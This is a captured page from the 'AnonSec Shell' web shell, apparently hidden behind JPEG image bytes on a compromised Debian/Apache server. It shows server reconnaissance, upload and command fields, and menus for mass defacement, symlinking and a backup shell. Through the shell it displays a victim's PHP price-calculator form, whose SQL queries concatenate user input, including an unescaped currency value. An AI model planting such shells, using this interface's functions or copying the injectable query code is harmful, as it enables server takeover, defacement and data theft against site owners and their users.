JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/components/forms/priceGenerator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/components/forms/priceGenerator/PriceGeneratorForm.php
<?php

namespace Promoteus\Forms;

use Nette\Database\Context;
use Nette\DI\Container;
use Nette\Http\Session;
use Nette\Security\User;
use Nette\Utils\ArrayHash;
use Promoteus\Component\PriceListExporter;
use Promoteus\CountryRepository;
use Promoteus\PriceProfileCategoryRepository;
use Promoteus\PriceProfileRepository;
use Promoteus\ProductManufacturerRepository;
use Promoteus\ProductPriceRepository;
use Promoteus\ProductRepository;
use Promoteus\Model\ProductPriceModel;

class PriceGeneratorForm extends BaseForm implements IForm
{
    protected $data;
    private $buyPriceRepository = null;
    /**
     * @var ProductPriceRepository
     */
    private $productPriceRepository;
    protected $connection;
    /**
     * @var ProductRepository
     */
    private $productRepository;
    /**
     * @var PriceProfileRepository
     */
    private $priceProfileRepository;
    /**
     * @var PriceProfileCategoryRepository
     */
    private $priceProfileCategoryRepository;
    protected $importExchangeRates = [];
    /**
     * @var PriceListExporter
     */
    private $listExporter;

    /**
     * @var ProductManufacturerRepository
     */
    private $manufacturerRepository;

    private $currencies;
    private $currency;
    private $displayExchangeRate;

    /**
     * @var ProductPriceModel
     */
    private $productPriceModel;

    public function __construct(
        Container $container,
        User $user,
        Session $session,
        Context $connection,
        ProductPriceRepository $productPriceRepository,
        ProductRepository $productRepository,
        PriceProfileRepository $priceProfileRepository,
        PriceProfileCategoryRepository $priceProfileCategoryRepository,
        PriceListExporter $listExporter,
        ProductManufacturerRepository $manufacturerRepository,
        ProductPriceModel $productPriceModel
    )
    {
        parent::__construct($container, $user, $session, $connection);

        $this->connection = $connection;

        $this->productPriceRepository = $productPriceRepository;
        $this->productRepository = $productRepository;
        $this->priceProfileRepository = $priceProfileRepository;
        $this->priceProfileCategoryRepository = $priceProfileCategoryRepository;
        $this->listExporter = $listExporter;
        $this->manufacturerRepository = $manufacturerRepository;
        $this->productPriceModel = $productPriceModel;
    }

    /**
     * Create form
     *
     * @param null $id
     *
     * @return MyForm
     */
    public function create($id = null): MyForm
    {
        $form = $this->createBaseForm();
        $form->addText('product_code', 'Kód produktu');
        $form->addSelect('amount', 'Spočítat pro množství', [
            '50'    => '50 ks',
            '100'   => '100 ks',
            '200'   => '200 ks',
            '300'   => '300 ks',
            '500'   => '500 ks',
            '700'   => '700 ks',
            '1000'  => '1000 ks',
            '2000'  => '2000 ks',
            '3000'  => '3000 ks',
            '5000'  => '5000 ks',
            '7000'  => '7000 ks',
            '10000' => '10000 ks'
        ]);

        $priceProfiles = $this->priceProfileRepository->findAll('name')
            ->fetchAll();

        $options = [];
        foreach ($priceProfiles as $priceProfile) {
            $options[$priceProfile->id] = $priceProfile->name;
        }
        $this->currencies = [
            1 => 'USD',
            2 => 'EUR',
            3 => 'Kč',
        ];
        $form->addSelect('currency', 'Měna', $this->currencies)
            ->setDefaultValue(3);

        /** @var CountryRepository $countryRepository */
        $countryRepository = $this->container->getService('countryRepository');
        $countries = $countryRepository->getValuesForSelect();

        $form->addSelect('country_id', 'Země')
            ->setItems($countries)
            ->setDefaultValue(56);

        $form->addSelect('price_profile', 'Cenový profil', $options);
        $form->addSubmit('submit', 'Spočítat');

        return $form;
    }

    protected function formatNumber($number)
    {
        return number_format($number, 3, ',', ' ');
    }

    protected function format($number)
    {
        return $this->formatNumber($number / $this->displayExchangeRate) . ' ' . $this->currency;
    }

    public function createComponentPriceGeneratorForm()
    {
        return $this->create();
    }

    public function render()
    {
        $this->template->render(__DIR__ . '/form.latte');
    }

    protected function getPriceDetails($productCode, $priceProfileId, $amount)
    {
        $priceProfile = $this->priceProfileRepository->getById($priceProfileId);

        $buyPrices = $this->productPriceModel->getBuyPricesHelper($productCode);
        $sellPrices = $this->productPriceModel->getSellPricesHelper($productCode, $priceProfile, $buyPrices);

        $data = [
            'buy_prices'  => $buyPrices,
            'sell_prices' => $sellPrices,
            'price_profile' => $priceProfile
        ];

        return $data;
    }

    /**
     * @param MyForm    $form
     * @param ArrayHash $values
     *
     * @return void
     */
    public function formValidate(MyForm $form, ArrayHash $values): void
    {
        if ($values->product_code == '') {
            $form->addError('Kód produktu je povinný');
        } else {
            $sure_prices = $this->connection->query("SELECT * FROM product_prices WHERE product_code = '" . addslashes($values->product_code) . "'")
                ->fetchAll();

            foreach ($sure_prices as $sure_price) {
                $exists = $this->connection->query('SELECT bid FROM import_prices_info WHERE id=' . $sure_price['import_info_id'])
                    ->fetch();

                if (!$exists) {
                    $form->addError('Produkt ' . $values->product_code . ' neni v importu');
                }
            }
        }

        $exists = $this->productRepository->findBy(['code' => $values->product_code])
            ->count();

        if ($exists == 0) {
            $form->addError('Tento produkt neexistuje');
        }
    }

    /**
     * @param MyForm    $form
     * @param ArrayHash $values
     *
     * @return void
     */
    public function formSucceeded(MyForm $form, ArrayHash $values): void
    {
        $form->cleanValues();

        $displayExchangeRate = $this->connection->query('SELECT ask FROM courses WHERE id="' . $values->currency . '"')
            ->fetchField('ask');

        $this->currency = $this->currencies[$values->currency];
        $this->displayExchangeRate = $displayExchangeRate;

        $this->template->currency = $this->currency;
        $this->template->exchangeRate = $this->displayExchangeRate;

        $this->template->amounts = [$values->amount];
        $this->template->country_id = $values->country_id;
        $this->template->data = $this->getPriceDetails($values->product_code, $values->price_profile, $values->amount);
        $this->template->manufacturers = $this->manufacturerRepository->searchByProductCode($values->product_code);
        $this->template->capacities = $this->connection->query('SELECT code, name FROM list_capacity')
            ->fetchAssoc('code');
        $this->template->capacitiesId = $this->connection->query('SELECT id, name FROM list_capacity')
            ->fetchAssoc('id');

        $this->redrawControl('result');

        $this->data = $values;
    }
}

Anon7 - 2022
AnonSec Team